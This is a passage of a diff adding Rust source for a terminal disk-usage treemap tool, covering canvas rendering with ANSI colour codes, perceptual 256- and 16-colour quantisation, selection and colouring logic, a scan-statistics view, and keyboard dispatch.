self.text(x + (w - textutil::width(&s) as i32) / 2, y, &s, w, st);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Draws s right-aligned ending at x+w.
|
||||||
|
pub fn text_right(&mut self, x: i32, y: i32, w: i32, s: &str, st: Style) {
|
||||||
|
let s = textutil::truncate(s, w.max(0) as usize);
|
||||||
|
self.text(x + w - textutil::width(&s) as i32, y, &s, w, st);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Fills r with the single-cell cluster ch.
|
||||||
|
pub fn fill(&mut self, r: Rect, ch: &str, st: Style) {
|
||||||
|
for y in r.y.max(0)..(r.y + r.h).min(self.h) {
|
||||||
|
for x in r.x.max(0)..(r.x + r.w).min(self.w) {
|
||||||
|
self.put(x, y, ch, 1, st);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Applies f to the style of every cell in r.
|
||||||
|
pub fn restyle(&mut self, r: Rect, f: impl Fn(Style) -> Style) {
|
||||||
|
for y in r.y.max(0)..(r.y + r.h).min(self.h) {
|
||||||
|
for x in r.x.max(0)..(r.x + r.w).min(self.w) {
|
||||||
|
let c = &mut self.c[(y * self.w + x) as usize];
|
||||||
|
c.st = f(c.st);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Draws a border around r (which must be at least 2×2).
|
||||||
|
pub fn draw_box(&mut self, r: Rect, b: BoxChars, st: Style) {
|
||||||
|
if r.w < 2 || r.h < 2 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let (x1, y1) = (r.x + r.w - 1, r.y + r.h - 1);
|
||||||
|
for x in r.x + 1..x1 {
|
||||||
|
self.put(x, r.y, b.h, 1, st);
|
||||||
|
self.put(x, y1, b.h, 1, st);
|
||||||
|
}
|
||||||
|
for y in r.y + 1..y1 {
|
||||||
|
self.put(r.x, y, b.v, 1, st);
|
||||||
|
self.put(x1, y, b.v, 1, st);
|
||||||
|
}
|
||||||
|
self.put(r.x, r.y, b.tl, 1, st);
|
||||||
|
self.put(x1, r.y, b.tr, 1, st);
|
||||||
|
self.put(r.x, y1, b.bl, 1, st);
|
||||||
|
self.put(x1, y1, b.br, 1, st);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Draws a horizontal rule.
|
||||||
|
pub fn hline(&mut self, x: i32, y: i32, w: i32, ch: &str, st: Style) {
|
||||||
|
for i in x..x + w {
|
||||||
|
self.put(i, y, ch, 1, st);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Serialises the canvas as lines of text with SGR styling. For 256 and
|
||||||
|
/// 16 colours it quantizes with its own perceptual mapping (see
|
||||||
|
/// color256.rs); Depth::None keeps attributes only.
|
||||||
|
pub fn render(&self, depth: Depth) -> String {
|
||||||
|
let mut b = String::with_capacity((self.w * self.h * 4) as usize);
|
||||||
|
for y in 0..self.h {
|
||||||
|
if y > 0 {
|
||||||
|
b.push('\n');
|
||||||
|
}
|
||||||
|
let mut cur = Style::default();
|
||||||
|
let mut first = true;
|
||||||
|
for x in 0..self.w {
|
||||||
|
let c = &self.c[(y * self.w + x) as usize];
|
||||||
|
if c.is_cont() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if first || c.st != cur {
|
||||||
|
sgr(&mut b, c.st, depth);
|
||||||
|
cur = c.st;
|
||||||
|
first = false;
|
||||||
|
}
|
||||||
|
b.push_str(self.cell_str(c));
|
||||||
|
}
|
||||||
|
b.push_str("\x1b[0m");
|
||||||
|
}
|
||||||
|
b
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn sgr(b: &mut String, st: Style, depth: Depth) {
|
||||||
|
b.push_str("\x1b[0");
|
||||||
|
for (bit, code) in [(BOLD, ";1"), (FAINT, ";2"), (ITALIC, ";3"), (UNDERLINE, ";4"), (REVERSE, ";7")] {
|
||||||
|
if st.attr & bit != 0 {
|
||||||
|
b.push_str(code);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let col = |b: &mut String, c: Color, bg: bool| {
|
||||||
|
if c.is_default() {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let _ = match depth {
|
||||||
|
Depth::None => Ok(()),
|
||||||
|
Depth::C256 => write!(b, ";{};5;{}", if bg { 48 } else { 38 }, quant256(c)),
|
||||||
|
Depth::C16 => {
|
||||||
|
let n = quant16(c) as u32;
|
||||||
|
let mut code = if n >= 8 { 90 + n - 8 } else { 30 + n };
|
||||||
|
if bg {
|
||||||
|
code += 10;
|
||||||
|
}
|
||||||
|
write!(b, ";{code}")
|
||||||
|
}
|
||||||
|
Depth::True => write!(b, ";{};2;{};{};{}", if bg { 48 } else { 38 }, c.r(), c.g(), c.b()),
|
||||||
|
};
|
||||||
|
};
|
||||||
|
col(b, st.fg, false);
|
||||||
|
col(b, st.bg, true);
|
||||||
|
b.push('m');
|
||||||
|
}
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
//! The stock 256-colour conversion maps dark, slightly tinted colours to
|
||||||
|
//! saturated cube entries (olive, navy), which wrecks the subtle shading the
|
||||||
|
//! treemap relies on. quant256 picks the perceptually nearest entry (redmean
|
||||||
|
//! distance) among the cube and the grey ramp, never the palette-dependent
|
||||||
|
//! first 16 entries.
|
||||||
|
|
||||||
|
use super::canvas::Color;
|
||||||
|
use std::cell::RefCell;
|
||||||
|
use std::collections::HashMap;
|
||||||
|
|
||||||
|
const CUBE_LEVELS: [i32; 6] = [0, 95, 135, 175, 215, 255];
|
||||||
|
|
||||||
|
thread_local! {
|
||||||
|
static Q256: RefCell<HashMap<u32, u8>> = RefCell::new(HashMap::new());
|
||||||
|
static Q16: RefCell<HashMap<u32, u8>> = RefCell::new(HashMap::new());
|
||||||
|
}
|
||||||
|
|
||||||
|
fn redmean(r1: i32, g1: i32, b1: i32, r2: i32, g2: i32, b2: i32) -> i32 {
|
||||||
|
let rm = (r1 + r2) / 2;
|
||||||
|
let (dr, dg, db) = (r1 - r2, g1 - g2, b1 - b2);
|
||||||
|
(((512 + rm) * dr * dr) >> 8) + 4 * dg * dg + (((767 - rm) * db * db) >> 8)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn quant256(c: Color) -> u8 {
|
||||||
|
if let Some(v) = Q256.with(|q| q.borrow().get(&c.0).copied()) {
|
||||||
|
return v;
|
||||||
|
}
|
||||||
|
let (r, g, b) = (c.r() as i32, c.g() as i32, c.b() as i32);
|
||||||
|
let (mut best, mut best_d) = (16, i32::MAX);
|
||||||
|
for i in 0..216 {
|
||||||
|
let (cr, cg, cb) = (CUBE_LEVELS[i / 36], CUBE_LEVELS[i / 6 % 6], CUBE_LEVELS[i % 6]);
|
||||||
|
let d = redmean(r, g, b, cr, cg, cb);
|
||||||
|
if d < best_d {
|
||||||
|
(best, best_d) = (16 + i, d);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for i in 0..24 {
|
||||||
|
let v = 8 + 10 * i as i32;
|
||||||
|
let d = redmean(r, g, b, v, v, v);
|
||||||
|
if d < best_d {
|
||||||
|
(best, best_d) = (232 + i, d);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Q256.with(|q| q.borrow_mut().insert(c.0, best as u8));
|
||||||
|
best as u8
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Maps a colour to a basic colour. Dark shades become black and
|
||||||
|
/// unsaturated colours grey/white, so tints and shadows stay quiet;
|
||||||
|
/// saturated colours keep their hue (bright variant when light), so category
|
||||||
|
/// colours survive. The stock conversion instead turns dark tints into
|
||||||
|
/// bright yellow/cyan.
|
||||||
|
pub(crate) fn quant16(c: Color) -> u8 {
|
||||||
|
if let Some(v) = Q16.with(|q| q.borrow().get(&c.0).copied()) {
|
||||||
|
return v;
|
||||||
|
}
|
||||||
|
let (rf, gf, bf) = c.comps();
|
||||||
|
let (mx, mn) = (rf.max(gf).max(bf), rf.min(gf).min(bf));
|
||||||
|
let luma = c.luma();
|
||||||
|
let n = if luma < 0.2 {
|
||||||
|
0
|
||||||
|
} else if mx - mn < 0.12 {
|
||||||
|
// grey
|
||||||
|
if luma < 0.45 {
|
||||||
|
8
|
||||||
|
} else if luma < 0.8 {
|
||||||
|
7
|
||||||
|
} else {
|
||||||
|
15
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Hue in sixths: red, yellow, green, cyan, blue, magenta.
|
||||||
|
let mut h = if mx == rf {
|
||||||
|
((gf - bf) / (mx - mn)) % 6.0
|
||||||
|
} else if mx == gf {
|
||||||
|
(bf - rf) / (mx - mn) + 2.0
|
||||||
|
} else {
|
||||||
|
(rf - gf) / (mx - mn) + 4.0
|
||||||
|
};
|
||||||
|
if h < 0.0 {
|
||||||
|
h += 6.0
|
||||||
|
}
|
||||||
|
let ansi = [1u8, 3, 2, 6, 4, 5][h.round() as usize % 6];
|
||||||
|
if luma > 0.5 {
|
||||||
|
ansi + 8
|
||||||
|
} else {
|
||||||
|
ansi
|
||||||
|
}
|
||||||
|
};
|
||||||
|
Q16.with(|q| q.borrow_mut().insert(c.0, n));
|
||||||
|
n
|
||||||
|
}
|
||||||
@@ -0,0 +1,181 @@
|
|||||||
|
//! Size lookups, the cached sorted child lists, selection upkeep and
|
||||||
|
//! colouring.
|
||||||
|
|
||||||
|
use super::canvas::Color;
|
||||||
|
use super::model::{group_id, group_parent, is_group, Model, NO_SEL};
|
||||||
|
use crate::inventory::{NodeId, Tree, FLAG_DELETED, NO_NODE};
|
||||||
|
use crate::snapshot::Status;
|
||||||
|
use std::collections::HashSet;
|
||||||
|
use std::rc::Rc;
|
||||||
|
|
||||||
|
/// A cached, size-sorted child list (zero-size entries removed).
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct Kids {
|
||||||
|
pub ids: Vec<NodeId>,
|
||||||
|
pub sizes: Vec<i64>,
|
||||||
|
pub total: i64,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Model {
|
||||||
|
/// The size that drives layout: the filtered size when a filter is
|
||||||
|
/// active, otherwise the aggregate in the current size mode.
|
||||||
|
pub fn size_of(&self, tr: &Tree, id: NodeId) -> i64 {
|
||||||
|
if let Some(r) = &self.search.result {
|
||||||
|
return r.size(id);
|
||||||
|
}
|
||||||
|
let n = tr.node(id);
|
||||||
|
if n.has(FLAG_DELETED) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
n.total(self.size_mode)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The sorted children of id, cached until data changes.
|
||||||
|
pub fn kids_of(&mut self, tr: &Tree, id: NodeId) -> Rc<Kids> {
|
||||||
|
if self.kids_ver != self.data_ver {
|
||||||
|
self.kids_cache.clear();
|
||||||
|
self.kids_ver = self.data_ver;
|
||||||
|
}
|
||||||
|
if let Some(k) = self.kids_cache.get(&id) {
|
||||||
|
return k.clone();
|
||||||
|
}
|
||||||
|
let mut v: Vec<(i64, NodeId)> =
|
||||||
|
tr.children(id).map(|(c, _)| (self.size_of(tr, c), c)).filter(|&(s, _)| s > 0).collect();
|
||||||
|
v.sort_unstable_by(|a, b| b.0.cmp(&a.0).then(a.1.cmp(&b.1)));
|
||||||
|
let k = Rc::new(Kids {
|
||||||
|
total: v.iter().map(|e| e.0).sum(),
|
||||||
|
sizes: v.iter().map(|e| e.0).collect(),
|
||||||
|
ids: v.iter().map(|e| e.1).collect(),
|
||||||
|
});
|
||||||
|
self.kids_cache.insert(id, k.clone());
|
||||||
|
k
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The selected inventory node (NO_NODE for groups).
|
||||||
|
pub fn selected_node(&self, tr: &Tree) -> NodeId {
|
||||||
|
if self.sel == NO_SEL || is_group(self.sel) || self.sel >= tr.len() as i64 {
|
||||||
|
return NO_NODE;
|
||||||
|
}
|
||||||
|
self.sel as NodeId
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Keeps the selection meaningful after any change: if the selected node
|
||||||
|
/// is no longer a direct, visible child of the zoom root it falls back to
|
||||||
|
/// the visible ancestor, then the group containing it, then the largest
|
||||||
|
/// child.
|
||||||
|
pub fn ensure_selection(&mut self, tr: &Tree) {
|
||||||
|
let k = self.kids_of(tr, self.zoom);
|
||||||
|
if k.ids.is_empty() {
|
||||||
|
self.sel = NO_SEL;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if !self.user_sel {
|
||||||
|
// Until the user picks something, follow the largest block (it
|
||||||
|
// changes while a scan is running).
|
||||||
|
self.sel = k.ids[0] as i64;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if is_group(self.sel) {
|
||||||
|
if group_parent(self.sel) == self.zoom {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
self.sel = NO_SEL;
|
||||||
|
}
|
||||||
|
let id = self.selected_node(tr);
|
||||||
|
if id != NO_NODE {
|
||||||
|
// Walk up to the direct child of the zoom root.
|
||||||
|
let mut cur = id;
|
||||||
|
while cur != NO_NODE {
|
||||||
|
if tr.node(cur).parent == self.zoom {
|
||||||
|
if self.size_of(tr, cur) > 0 {
|
||||||
|
self.sel = cur as i64;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
cur = tr.node(cur).parent;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.sel = k.ids[0] as i64;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Maps the selection onto the treemap blocks: a node collapsed into the
|
||||||
|
/// LOD group selects the group.
|
||||||
|
pub fn visible_sel(&self, blocks: &HashSet<i64>) -> i64 {
|
||||||
|
if blocks.contains(&self.sel) {
|
||||||
|
return self.sel;
|
||||||
|
}
|
||||||
|
if !is_group(self.sel) && blocks.contains(&group_id(self.zoom)) {
|
||||||
|
return group_id(self.zoom);
|
||||||
|
}
|
||||||
|
self.sel
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Makes dir the treemap root.
|
||||||
|
pub fn zoom_to(&mut self, tr: &Tree, dir: NodeId) {
|
||||||
|
if dir == self.zoom {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let prev = self.zoom;
|
||||||
|
self.zoom = dir;
|
||||||
|
// Coming back out, keep the directory we left selected.
|
||||||
|
self.sel = if tr.is_ancestor(dir, prev) { prev as i64 } else { NO_SEL };
|
||||||
|
self.user_sel = self.sel != NO_SEL;
|
||||||
|
self.zoomed = true;
|
||||||
|
self.dirty = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn set_view(&mut self, i: usize) {
|
||||||
|
if i < self.views.len() {
|
||||||
|
self.view = i;
|
||||||
|
self.dirty = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The base colour for a block.
|
||||||
|
pub fn color_of(&self, tr: &Tree, id: i64) -> Color {
|
||||||
|
let t = &self.theme;
|
||||||
|
if is_group(id) {
|
||||||
|
return t.group;
|
||||||
|
}
|
||||||
|
let nid = id as NodeId;
|
||||||
|
let n = tr.node(nid);
|
||||||
|
if let Some(d) = &self.opts.diff {
|
||||||
|
let total = n.total(self.size_mode);
|
||||||
|
return match d.status_of(tr, nid, self.size_mode) {
|
||||||
|
Status::Added => t.diff_new,
|
||||||
|
Status::Grew => {
|
||||||
|
let old = d.old_size(nid, self.size_mode).unwrap_or(0);
|
||||||
|
t.diff_same.mix(t.diff_grow, ratio(total - old, old))
|
||||||
|
}
|
||||||
|
Status::Shrank => {
|
||||||
|
let old = d.old_size(nid, self.size_mode).unwrap_or(0);
|
||||||
|
t.diff_same.mix(t.diff_shrink, ratio(old - total, old))
|
||||||
|
}
|
||||||
|
_ => t.diff_same,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
if !n.is_dir() {
|
||||||
|
if let Some(c) = t.ext.as_ref().and_then(|e| e.get(tr.ext_name(n))) {
|
||||||
|
return *c;
|
||||||
|
}
|
||||||
|
return t.cat[n.cat as usize];
|
||||||
|
}
|
||||||
|
let (mut best, mut best_v) = (None, 0);
|
||||||
|
for (i, &v) in tr.cat_sizes(nid).into_iter().flatten().enumerate() {
|
||||||
|
if v > best_v {
|
||||||
|
(best, best_v) = (Some(i), v);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
best.map_or(t.empty_dir, |b| t.cat[b])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Maps a relative change to 0.35..1 for colour intensity.
|
||||||
|
fn ratio(delta: i64, base: i64) -> f64 {
|
||||||
|
if base <= 0 {
|
||||||
|
return 1.0;
|
||||||
|
}
|
||||||
|
let r = delta as f64 / base as f64;
|
||||||
|
(0.35 + r * 0.65).min(1.0)
|
||||||
|
}
|
||||||
@@ -0,0 +1,160 @@
|
|||||||
|
//! The scan information view: statistics and the error list.
|
||||||
|
|
||||||
|
use super::canvas::{Canvas, Style, BOLD};
|
||||||
|
use super::model::{Cmd, Model};
|
||||||
|
use super::table::{col, Table, TableRow};
|
||||||
|
use super::{san, si_units};
|
||||||
|
use crate::inventory::{ErrKind, Tree, FLAG_ALLOC_UNKNOWN};
|
||||||
|
use crate::textutil;
|
||||||
|
use crate::treemap::Rect;
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct InfoView {
|
||||||
|
pub tb: Table,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl InfoView {
|
||||||
|
pub fn focus_errors(&mut self) {
|
||||||
|
self.tb.cursor = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = m.theme.clone();
|
||||||
|
cv.fill(r, " ", t.base());
|
||||||
|
let st = &tr.stats;
|
||||||
|
let root = tr.node(0);
|
||||||
|
let lw = if r.w < 100 { r.w - 2 } else { 52.min(r.w / 2) };
|
||||||
|
let mut y = r.y + 1;
|
||||||
|
let x = r.x + 2;
|
||||||
|
let label = Style::new(t.muted, t.bg);
|
||||||
|
let value = Style::new(t.fg, t.bg).with(BOLD);
|
||||||
|
let line = |cv: &mut Canvas, y: &mut i32, k: &str, val: &str, vs: Style| {
|
||||||
|
if *y >= r.y + r.h {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
cv.text(x, *y, k, 20, label);
|
||||||
|
cv.text(x + 20, *y, val, lw - 20, vs);
|
||||||
|
*y += 1;
|
||||||
|
};
|
||||||
|
let head = |cv: &mut Canvas, y: &mut i32, s: &str| {
|
||||||
|
if *y >= r.y + r.h - 1 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
*y += 1;
|
||||||
|
cv.text(x, *y, s, lw, Style::new(t.accent, t.bg).with(BOLD));
|
||||||
|
*y += 1;
|
||||||
|
};
|
||||||
|
let (state, mut state_st) = ("Complete", Style::new(t.ok, t.bg).with(BOLD));
|
||||||
|
let state = if m.scanning {
|
||||||
|
state_st.fg = t.accent;
|
||||||
|
"Scanning…"
|
||||||
|
} else if st.cancelled {
|
||||||
|
state_st.fg = t.warn;
|
||||||
|
"Cancelled — totals incomplete"
|
||||||
|
} else if st.incomplete() {
|
||||||
|
state_st.fg = t.warn;
|
||||||
|
"Complete, with unreadable areas"
|
||||||
|
} else {
|
||||||
|
state
|
||||||
|
};
|
||||||
|
cv.text(x, y, "SCAN INFORMATION", lw, Style::new(t.accent, t.bg).with(BOLD));
|
||||||
|
y += 1;
|
||||||
|
line(cv, &mut y, "Root", &san(&st.root), value);
|
||||||
|
line(cv, &mut y, "State", state, state_st);
|
||||||
|
if !st.from_snapshot.is_empty() {
|
||||||
|
line(cv, &mut y, "Snapshot", &textutil::sanitize(&st.from_snapshot), value);
|
||||||
|
}
|
||||||
|
let files = st.files + st.symlinks + st.others;
|
||||||
|
line(cv, &mut y, "Items scanned", &textutil::count(files + st.dirs), value);
|
||||||
|
line(cv, &mut y, " Files", &textutil::count(st.files), value);
|
||||||
|
line(cv, &mut y, " Directories", &textutil::count(st.dirs), value);
|
||||||
|
line(cv, &mut y, " Symlinks", &textutil::count(st.symlinks), value);
|
||||||
|
line(cv, &mut y, " Special", &textutil::count(st.others), value);
|
||||||
|
line(cv, &mut y, "Logical size", &format!("{} ({} bytes)", textutil::size(root.tot_size), textutil::count(root.tot_size)), value);
|
||||||
|
line(cv, &mut y, "Allocated size", &format!("{} ({} bytes)", textutil::size(root.tot_alloc), textutil::count(root.tot_alloc)), value);
|
||||||
|
let el = st.elapsed();
|
||||||
|
if st.from_snapshot.is_empty() {
|
||||||
|
line(cv, &mut y, "Elapsed", &textutil::duration(el), value);
|
||||||
|
let rate = (files + st.dirs) as f64 / el.as_secs_f64().max(0.001);
|
||||||
|
line(cv, &mut y, "Rate", &(textutil::count(rate as i64) + " items/s"), value);
|
||||||
|
let cpus = std::thread::available_parallelism().map_or(1, |n| n.get());
|
||||||
|
line(cv, &mut y, "Workers", &format!("{} ({} CPUs)", st.workers, cpus), value);
|
||||||
|
}
|
||||||
|
|
||||||
|
head(cv, &mut y, "ERRORS AND OMISSIONS");
|
||||||
|
let mut any_issue = false;
|
||||||
|
for (k, &c) in st.err_counts.iter().enumerate() {
|
||||||
|
if c > 0 {
|
||||||
|
line(cv, &mut y, ErrKind::from_u8(k as u8).name(), &textutil::count(c), Style::new(t.err, t.bg).with(BOLD));
|
||||||
|
any_issue = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (k, v) in [("Unscanned dirs", st.unscanned), ("Excluded", st.excluded), ("Other FS skipped", st.skipped_mounts),
|
||||||
|
("Virtual FS skipped", st.virtual_skipped), ("Loops skipped", st.loops_skipped), ("Broken symlinks", st.broken_links),
|
||||||
|
("Hard-link dups", st.hardlink_dups)]
|
||||||
|
{
|
||||||
|
if v > 0 {
|
||||||
|
line(cv, &mut y, k, &textutil::count(v), Style::new(t.warn, t.bg).with(BOLD));
|
||||||
|
any_issue = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !any_issue {
|
||||||
|
line(cv, &mut y, "None", "every entry was read", Style::new(t.ok, t.bg));
|
||||||
|
}
|
||||||
|
head(cv, &mut y, "OPTIONS");
|
||||||
|
let excl = if st.excludes.is_empty() { "none".to_string() } else { textutil::sanitize(&st.excludes.join(", ")) };
|
||||||
|
line(cv, &mut y, "Exclusions", &excl, value);
|
||||||
|
line(cv, &mut y, "One filesystem", &st.one_file_system.to_string(), value);
|
||||||
|
line(cv, &mut y, "Follow symlinks", &textutil::sanitize(&st.follow), value);
|
||||||
|
line(cv, &mut y, "Size mode", m.size_mode.name(), value);
|
||||||
|
line(cv, &mut y, "Units", if si_units() { "SI (1000)" } else { "IEC (1024)" }, value);
|
||||||
|
if root.has(FLAG_ALLOC_UNKNOWN) {
|
||||||
|
line(cv, &mut y, "Note", "allocated size unavailable on this platform", Style::new(t.warn, t.bg));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Error list on the right (or below in narrow terminals).
|
||||||
|
let er = if r.w < 100 {
|
||||||
|
Rect { x: r.x, y: y + 1, w: r.w, h: r.y + r.h - y - 1 }
|
||||||
|
} else {
|
||||||
|
Rect { x: r.x + lw + 4, y: r.y, w: r.w - lw - 4, h: r.h }
|
||||||
|
};
|
||||||
|
if er.w < 30 || er.h < 4 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let rows: Vec<TableRow> = st
|
||||||
|
.errors
|
||||||
|
.iter()
|
||||||
|
.map(|e| {
|
||||||
|
let mut p = tr.path_bytes(e.node);
|
||||||
|
if !e.name.is_empty() {
|
||||||
|
p.push(b'/');
|
||||||
|
p.extend_from_slice(&e.name);
|
||||||
|
}
|
||||||
|
TableRow {
|
||||||
|
cells: vec![e.kind.name().into(), san(&p), textutil::sanitize(&e.msg)],
|
||||||
|
styles: vec![Some(Style::new(t.err, t.bg)), None, Some(Style::new(t.muted, t.bg))],
|
||||||
|
bar: -1.0,
|
||||||
|
..Default::default()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
let mut title = format!("ERROR LIST ({})", textutil::count(st.total_errors()));
|
||||||
|
if (st.errors.len() as i64) < st.total_errors() {
|
||||||
|
title += &format!(" — first {} shown", textutil::count(st.errors.len() as i64));
|
||||||
|
}
|
||||||
|
let cols = [col("KIND", 18, false, false), col("PATH", 0, false, true), col("DETAIL", 22, false, false)];
|
||||||
|
self.tb.paint(m, cv, er, &cols, &rows, &title);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
|
||||||
|
let errs = &tr.stats.errors;
|
||||||
|
if self.tb.key(k, errs.len()) {
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
if self.tb.at() < errs.len() && (k == "enter" || k == "space") {
|
||||||
|
m.jump_to(tr, errs[self.tb.at()].node);
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
(false, Cmd::None)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,228 @@
|
|||||||
|
//! Key dispatch and the actions keys trigger.
|
||||||
|
|
||||||
|
use super::model::{is_group, Cmd, Key, Model, Msg};
|
||||||
|
use super::modals::{new_group_modal, new_help_modal, new_info_modal, new_save_modal};
|
||||||
|
use super::theme::{load_theme, theme_names};
|
||||||
|
use super::views::View;
|
||||||
|
use super::{fmt_stamp_now, san};
|
||||||
|
use crate::brand;
|
||||||
|
use crate::inventory::{NodeId, SizeMode, Tree, NO_NODE};
|
||||||
|
use crate::platform;
|
||||||
|
use crate::snapshot;
|
||||||
|
use crate::textutil;
|
||||||
|
use std::ffi::OsStr;
|
||||||
|
use std::os::unix::ffi::OsStrExt;
|
||||||
|
use std::path::Path;
|
||||||
|
use std::rc::Rc;
|
||||||
|
|
||||||
|
impl Model {
|
||||||
|
/// Dispatches a key press. It holds the tree read lock for the whole
|
||||||
|
/// handler; helpers it calls must not lock again (a recursive read lock
|
||||||
|
/// can deadlock against a waiting writer).
|
||||||
|
pub fn handle_key(&mut self, key: &Key) -> Cmd {
|
||||||
|
let k = key.name.as_str();
|
||||||
|
if k == "ctrl+c" {
|
||||||
|
return self.ctrl_c_pressed();
|
||||||
|
}
|
||||||
|
let arc = self.tree.clone();
|
||||||
|
let tr = arc.read().unwrap();
|
||||||
|
self.ensure_selection(&tr);
|
||||||
|
if !self.modals.is_empty() {
|
||||||
|
return self.modal_key(&tr, key);
|
||||||
|
}
|
||||||
|
if self.search.editing {
|
||||||
|
return self.search_key(key);
|
||||||
|
}
|
||||||
|
let (handled, cmd) = self.view_key(&tr, k);
|
||||||
|
if handled {
|
||||||
|
return cmd;
|
||||||
|
}
|
||||||
|
match k {
|
||||||
|
"q" => self.quit = true,
|
||||||
|
"?" | "f1" => {
|
||||||
|
let md = new_help_modal();
|
||||||
|
self.open_modal(md);
|
||||||
|
}
|
||||||
|
"/" => self.search.begin(),
|
||||||
|
"esc" => {
|
||||||
|
if self.search.query.is_some() {
|
||||||
|
self.clear_filter();
|
||||||
|
} else if self.zoom != 0 {
|
||||||
|
self.zoom_out(&tr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"tab" => self.set_view((self.view + 1) % self.views.len()),
|
||||||
|
"shift+tab" => self.set_view((self.view + self.views.len() - 1) % self.views.len()),
|
||||||
|
"1" | "2" | "3" | "4" | "5" | "6" | "7" => self.set_view((k.as_bytes()[0] - b'1') as usize),
|
||||||
|
"enter" => return self.inspect_selection(&tr),
|
||||||
|
"space" | "right" => return self.zoom_into_selection(&tr),
|
||||||
|
"backspace" | "left" => self.zoom_out(&tr),
|
||||||
|
"home" => self.zoom_to(&tr, 0),
|
||||||
|
"a" => {
|
||||||
|
self.size_mode = if self.size_mode == SizeMode::Allocated { SizeMode::Logical } else { SizeMode::Allocated };
|
||||||
|
self.invalidate();
|
||||||
|
let mut cmds = Vec::new();
|
||||||
|
if self.search.query.is_some() {
|
||||||
|
cmds.push(self.apply_filter());
|
||||||
|
}
|
||||||
|
let msg = format!("Sizing by {} size", self.size_mode.name());
|
||||||
|
cmds.push(self.info(msg));
|
||||||
|
return Cmd::batch(cmds);
|
||||||
|
}
|
||||||
|
"r" => return self.rescan(&tr),
|
||||||
|
"s" => {
|
||||||
|
let md = new_save_modal(&tr);
|
||||||
|
self.open_modal(md);
|
||||||
|
}
|
||||||
|
"e" => {
|
||||||
|
self.set_view_by_name("Scan");
|
||||||
|
if let View::Info(v) = &mut self.views[self.view] {
|
||||||
|
v.focus_errors();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"x" => self.set_view_by_name("Types"),
|
||||||
|
"g" => self.set_view_by_name("Top"),
|
||||||
|
"D" => return self.start_duplicates(),
|
||||||
|
"c" => return self.copy_selected(&tr),
|
||||||
|
"o" => return self.reveal(&tr),
|
||||||
|
"d" | "delete" => return self.request_trash(&tr),
|
||||||
|
"T" => {
|
||||||
|
let names = theme_names();
|
||||||
|
let cur = names.iter().position(|n| *n == self.theme.name).unwrap_or(0);
|
||||||
|
let ascii = self.theme.ascii;
|
||||||
|
let mut th = load_theme(names[(cur + 1) % names.len()], &self.opts.settings);
|
||||||
|
th.ascii = ascii;
|
||||||
|
self.theme = Rc::new(th);
|
||||||
|
let msg = format!("Theme: {}", self.theme.name);
|
||||||
|
return self.info(msg);
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn inspect_selection(&mut self, tr: &Tree) -> Cmd {
|
||||||
|
if is_group(self.sel) {
|
||||||
|
if let Some(g) = self.group_info(self.sel) {
|
||||||
|
self.open_modal(new_group_modal(g));
|
||||||
|
}
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
let id = self.selected_node(tr);
|
||||||
|
if id != NO_NODE {
|
||||||
|
let md = new_info_modal(self, tr, id);
|
||||||
|
self.open_modal(md);
|
||||||
|
}
|
||||||
|
